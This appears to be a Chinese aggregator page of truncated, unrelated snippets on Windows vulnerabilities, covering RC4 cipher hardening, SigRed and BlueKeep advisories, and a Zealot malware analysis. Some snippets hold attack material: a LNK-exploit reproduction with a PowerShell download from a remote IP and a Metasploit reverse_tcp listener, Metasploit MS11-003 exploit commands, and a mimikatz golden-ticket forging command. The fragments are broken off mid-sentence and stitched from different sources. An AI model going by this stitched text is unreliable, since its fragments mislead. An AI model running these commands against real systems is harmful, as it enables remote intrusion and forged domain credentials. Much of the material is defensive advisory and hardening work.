其实这个漏洞很常见，最近接触的客户发来的要求修复的漏洞中，都存在这个问题，所以今天记录下 这个RC4的漏洞是个老的漏洞了，是加密算法的问题，只要是在使用RC4加密算法的旧的系统中，都存在这个问题，比如常见的...web，Nginx、Apache、IIS、Tomcat等，以及linux下的openssl，windows服务器的远程桌面服务，有使用RC4算法的，都有这个问题 所以这里顺便整理下这个问题要怎么修复 客户给到的是一台...windows 2008 R2 sp1的服务器，而公安局通过安恒的漏洞扫描扫出的是远程桌面服务的RC4 加密问题，所以这里先解决windows上面的这个问题 解决这个问题的方法其实很简单，因为官方也没有给出...RC4的补丁，所以最简单的方法就是禁用RC4加密算法 在windows中，禁用RC4加密算法，需要修改注册表，所以废话不多说，先做个系统快照，以防万一 ?...禁用后，漏洞扫描结果中已经没有RC4算法相关漏洞 RC4算法除了在远程服务中使用，在web服务中也是很常使用，所以下面整理了常见web的处理方式 nginx处理方式： 在ssl的配置中，配置加密套件的位置
IT同路人 公众号ID：ittongluren windows蓝屏漏洞 windows蓝屏漏洞大部分系统受影响 ?...镜像 这个漏洞是 ntfs分区下，图片解析的时候 会导致系统崩溃 受影响系统： Windows 7 企业版 7601 x64 ✅ Windows 7 Professional 7601 x64 ✅...Windows 10 Professional 15063 x64 ✅ Windows 10 Professional 16299 x64 ✅ Windows 10 Professional 1709...x64 ✅ Windows 10 Insider Preview 企业评价 16215 x64 ✅ 微软 Windows 10 Pro 1607 x64 ✅ 微软 Windows 10 Pro 1803...Build 20180405-0.4.8-release-0-gd47d448.GNU_4.7.2 x86 ❌ ❔ 漏洞测试链接： https://share.weiyun.com/58NwfC4
通告编号:NS-2020-0042 2020-07-15 TAG： Windows、DNS服务器、CVE-2020-1350、SigRed 漏洞危害： 高，攻击者利用此漏洞，可实现远程代码执行并进行蠕虫化传播...应急等级： 黄色 版本： 1.0 1 漏洞概述 7月15日，微软发布7月安全更新补丁，其中修复了一个Windows DNS服务器远程代码执行漏洞（CVE-2020-1350），代号为SigRed，此漏洞已存在...默认配置下，未经验证的攻击者可以向 Windows DNS 服务器发送恶意请求来利用此漏洞。...Check Point的研究人员发现，由于Windows DNS 服务器无法正确处理请求，通过发送包含SIG记录（大于64KB）的DNS响应可以造成基于堆的缓冲区溢出；值得注意的是微软认为此漏洞具有蠕虫攻击能力...此特征使它与服务器消息块（SMB）中的EternalBlue和远程桌面协议（RDP）中的BlueKeep处于同一风险类别。目前漏洞细节已公开，请相关用户尽快采取措施进行防护。
具体方式： 控制面板--添加或删除程序--添加/删除组件 1.CVE-2017-8464 原理 Windows系统使用二进制解析 .LNK文件，当恶意二进制代码被系统识别执行时即可实现远程代码执行，由于是在...://192.168.0.102/search.ps1');test.ps1" #创建快捷件远程加载 远程监听 use exploit/multi/handler set payload windows...reverse_tcp show options set LHOST 192.168.0.102 set lport 5555 exploit 2.MS11_003 溢出漏洞...原理 溢出漏洞是由于程序中的某个或某些输入函数（使用者输入参数）对所接收数据的边界验证不严密而造成。...复现 search ms11_003 use exploit/windows/browser/ms11_003_ie_css_import set payload windows/meterpreter
近日，一个Windows DNS服务器远程代码执行漏洞曝光，Windows DNS（Domain Name System）服务器处理请求时存在缺陷，从而导致存在远程执行代码漏洞。...根据目前掌握的情况判定，我们认为该漏洞具有较高的风险等级；目前厂商已发布相关补丁，敬请用户知晓。 ?...Windows 10 Version 1709 for 32-bit Systems Windows 10 Version 1709 for 64-based Systems Windows 10...2016 Windows Server 2016 (Server Core installation) Windows Server 2019 Windows Server 2019 (Server...： https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8626 本来今天周末了，高高兴兴的，这漏洞一出
”漏洞。...这边列举主流的服务器的禁用方式 Nginx服务器： 注意：nginx和openssl套件版本过低可能会导致无法启用新型加密套件和算法，请升级最新版本。...RC4:+HIGH:!MEDIUM:!LOW:!aNULL:!eNULL; apache服务器： 注意：apache和openssl套件版本过低可能会导致无法启用新型加密套件和算法，请升级最新版本。...RC4:+HIGH:!MEDIUM:!LOW:!aNULL:!eNULL Tomcat服务器： JDK版本过低也会带来不安全漏洞，请升级JDK为最新版本。升级JDK风险请安按照系统升级风险酌情考虑。.../Downloads/IISCrypto/IISCrypto40.exe 备注：windows server 2003不支持tls1.1和1.2请升级至2008 R2或2012 根据图示进行选择，修改完成后重启服务器
前言 最近Windows出了一个lnk的漏洞，本着不复现不罢休的原则，自己搭建环境复现了一波，虽然没有这么顺利，但最后还是复现成功，哈哈哈哈，大牛就勿喷了，技术能力有限。...metasploit做以下相关配置: msf > use exploit/multi/handler msf exploit(handler) > set payload windows/x64/meterpreter
安全修复之Web——SSL/TLS存在Bar Mitzvah Attack漏洞 背景 日常我们开发时，会遇到各种各样的奇奇怪怪的问题（踩坑o(╯□╰)o），这个常见问题系列就是我日常遇到的一些问题的记录文章系列...开发环境 系统：windows10 内容 漏洞 SSL/TLS存在Bar Mitzvah Attack漏洞 国家代码 CNVD-2015-02171 漏洞风险： 可以使用RC4加密算法时，它能够在某些情况下泄露...解决方案： 1、服务器端禁止使用RC4加密算法。...RC4”; ssl_prefer_server_ciphers on; 2、客户端应在浏览器TLS配置中禁止RC4。
研究人员新发现一个高度严重的可蠕虫漏洞 SigRed ，CVSS 评分为满分10分。该漏洞影响2003年-2019年的Windows Server版本。 ?...漏洞介绍 SigRed漏洞的高危害性在于其是可蠕虫的，也就是可以自传播的，无需用户交互就能传播到易受攻击的设备上，允许未经身份验证的远程攻击者获得针对目标服务器的域管理员特权，并完全控制组织的IT基础架构...漏洞运行机制 攻击者可以通过将恶意DNS查询发送到Windows DNS服务器并实现任意代码执行来利用SigRed漏洞，从而使黑客能够拦截和操纵用户的电子邮件和网络流量，使服务不可用，收获用户的电子邮件...此外，SigRed还能在特定的一些情况下通过浏览器远程触发，例如基于Internet Explorer和非Chromium的Microsoft Edge浏览器，攻击者可以利用Windows DNS服务器对连接重用和查询管道功能的支持...缓解措施 Windows DNS服务器作为核心网络组件，一旦DNS服务器泄露是非常严重的安全问题，而在大多数情况下，它使攻击者离破坏整个组织仅一寸之遥，企业势必要引起重视。
公共镜像有周期性，一般1-3个月做一次，镜像毕竟是死的，漏洞层出不穷，微软每月会发新补丁，业务按月打补丁即可操作之前打快照操作之前打快照操作之前打快照注意：微软的新补丁很多时候也有bug，可能为了解决一个隐患但不是马上受影响的问题而引入了当即影响系统或业务异常的新问题...KB5034441KB5034439这2个补丁有bug，忽略即可（无需安装）微软官网文档有说明：https://support.microsoft.com/zh-cn/topic/kb5034441-windows-recovery-environment-update-for-windows...january-9-2024-62c04204-aaa5-4fee-a02a-2fdea17075a8https://support.microsoft.com/zh-cn/topic/kb5034439-windows-recovery-environment-update-for-windows-server...、5月(win10/server2019)的补丁都有bug4月(win10/server2019/server2022/win11)https://learn.microsoft.com/zh-cn/windows.../release-health/status-windows-10-1809-and-windows-server-2019https://learn.microsoft.com/zh-cn/windows
随着研究的深入，此文章会进一步更新，目前我们所知道的有： 新型Apache Struts 目标为Windows和Linux系统 Zealot的攻击复杂，多平台，且及其模糊 Zealot利用的服务器均有以下两种漏洞...Zealot 同时还利用了DNN 漏洞(CVE-2017-98222),这个漏洞于2017年7月被首次发现。 Zealot野心勃勃的利用这两个漏洞，将目标指向Windows 和 Linux 系统。...图7 使用特定HTTP 头部值向C&C服务器发送请求 收到的内容被RC4 密码加密过，一般的网络检测设备只能看到内容，但是无法研究或者扫描。只有脚本有密钥。...图8 在HTTP响应中应用的 RC4解密路径 Windows 被利用后 如果检测到Windows，STRUTS 载荷会通过一种隐蔽的方法运行一个PowerShell interpreter，即64进制编码的代码...随着漏洞利用在windows设备上的进行，它会下载 “zealot.zip” 和“raven64.exe”文件。
远程漏洞利用工具。...文档中的多个工具利用的是Windows系统中常用的RDP、SMB等服务中的安全漏洞。...这意味着只要 Windows服务器打开了135、445、3389 中的任意端口之一，远程攻击者就可以利用这些工具完全入侵受影响的系统。...8 Windows 2008 Windows 2008 R2 Windows Server 2012 SP0 据估计受影响Windows服务器版本可能占目前全球所有Windows服务器数量的70%以上...由于国内有很多高校、政府、国企甚至一些互联网公司仍在使用 Windows服务器，上述0-day漏洞一旦被大规模利用，很可能会造成非常严重的后果。
最典型的例子是使用FF39+访问某些网站时报错：Error code: ssl_error_weak_server_ephemeral_dh_key 或者使用IBMAppScan扫描会出现类似“检测到 RC4...密码套件”的中危漏洞。...2、服务器SSL设置中，要disable DHE cipher suites，要disable TLSv2 TLSv3，启用TLSv1，TLSv1.1，TLSv1.2。...3、密码套件根据Tomcat应用服务器和jdk使用。
漏洞简介 周一，微软发布了一个新的安全公告，提醒数十亿Windows用户——两个新的未修复的0day漏洞将被黑客利用，进行远程控制目标计算机 目前，这两个漏洞已经被黑客利用，对所有尚处于支持状态的Windows...设备发起了攻击，而且，目前还没有针对该漏洞的安全补丁，微软承认该漏洞数据“严重”级别，该漏洞存在于Windows处理和渲染字体中 漏洞详情 两个漏洞位于WindowsAdobe Type ManagerLibrary...漏洞主要源于Adobe Type Manager Library不当地处理了特制的多主体字体（Adobe Type1 PostScript格式），从而允许远程攻击者诱使用户打开特制文档或在Windows...此外，据Microsoft提供的信息，在运行受支持的Windows 10版本设备上，成功利用这两个0day漏洞只导致在权限有限且功能有限的AppContainer沙箱上下文中执行代码。...7版本 漏洞修复 微软目前正在研究开发补丁，预计4月14日发布，补丁发布之前，可通过以下方式缓解： 在Windows中禁用预览窗格和详细信息窗格(禁用后，Windows资源管理器将不会自动显示OpenType
该信息包括几个十六进制编码的字符串，这些字符串告诉脚本应从服务器下载多少个实际漏洞利用代码，以及图像文件的 URL，这个图片嵌入了最终载荷的密钥和RC4密钥从而对漏洞利用代码解密。 ?...漏洞利用链– AJAX 请求 xxxxxxx.php 下载完所有代码块后，RC4 脚本将所有部分解密并拼接在一起，这为攻击者提供了一个包含完整浏览器漏洞的新 JavaScript 代码。...为了解密这些部分，使用了之前的 RC4 密钥。 ?...为了持久化，该恶意软件会在 Windows Task Scheduler 中安装任务。...下一部分位于 C2 服务器上具有受害计算机名称的文件夹中，因此威胁执行者可以了解有关哪些计算机被感染的信息，并将下一阶段模块放置在 C2 服务器上的特定文件夹中。
刚买服务器主机经常会出现主分区空间不足的现象，尤其像windows系统本身就要占用很大空间，稍微装点软件就会出现磁盘空间不足的现象，所以给磁盘分区是一件重要且优先的进行的任务，今天我就用分区助手这款软件来进行一下...windows2008系统的分区步骤。
二、漏洞简介 远程桌面服务（以前称为终端服务）中存在远程执行代码漏洞，当未经身份验证的攻击者使用RDP连接到目标系统并发送特制请求时，成功利用此漏洞的攻击者可以在目标系统上执行任意代码，然后攻击者可以安装程序...三、漏洞危害 成功利用此漏洞的攻击者可以在目标系统上执行任意代码，然后攻击者可以安装程序、查看、更改或删除数据; 或创建具有完全用户权限的新帐户。...四、影响范围 产品 Windows 操作系统 版本 Windows 7 SP1 Windows Server 2008 R2 SP1 Windows Server 2012 Windows 8.1 Windows...Server 2012 R2 所有受支持的Windows 10版本，包括服务器版本组件 远程桌面服务 五、修复方案 官方补丁 通过Windows 操作系统中的自动更新功能进行更新 临时解决建议 1、禁用远程桌面服务...2、在防火墙中对远程桌面服务端口(3389)进行阻断 3、在开启了远程桌面服务的服务器上启用网络身份认证 六、参考 https://msrc-blog.microsoft.com/2019/08/13
然后回到client中使用mimikatz来伪造票据 命令如下 mimikatz "kerberos::golden /domain: /sid: /target:服务器主机名...> /service: /rc4: /user: /ptt" exit 其中的信息可以这样获得 ?...SID不需要填最后的 -500 注：这里的目标服务器主机名不能用这里hostname的内容，而是要写全称 ?...已经可以成功访问了 如果对Windows认证有兴趣的可以看一下下面的几篇文章来学习一下《Windows认证 | Windows本地认证》、《Windows认证 | 网络认证》、《Windows认证 |...域认证》、《SPN扫描》、《Kerberoasting攻击》 推荐阅读 离线破解Navicat密码 php-fpm在nginx特定环境下的任意代码执行漏洞（CVE-2019-11043） Linux
或者 写远程服务器IP地址、默认用户名：administrator、密码：自定义 点击：连接按钮以后，会出现输入密码对话框，将自设定的密码输入。
0x01 前言 这篇文章我将分享下我在实战中利用Windows内核溢出漏洞提权时的基本步骤和注意事项，当然这也只是根据我个人习惯来写的，毕竟每个人的习惯都不一样，所以仅供参考，如有不对之处还请批评指正！...Windows-Exploit-Suggester是根据Microsoft安全公告数据进行对比，而WES-NG则是根据Microsoft安全公告、MSRC API以及NVD漏洞等多个数据进行对比，详情可去对应项目中查看...run post/windows/gather/enum_patches run post/multi/recon/local_exploit_suggester 0x04 获取POC/EXP 得知某个漏洞...或者也可以参考下我之前整理分享的一个Windows提权相关漏洞的测试表格，包含了我所有测试过的提权EXP和MSF下的提权、BypassUAC模块。...(4) 提权时不能完全依赖于Windows Exploit Suggester这类辅助工具，因为基本都是与安全补丁的KB编号进行比对，而微软的每一个安全漏洞受影响的产品和版本都不一样，所以他们会根据不同的产品
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
腾讯会议
云直播
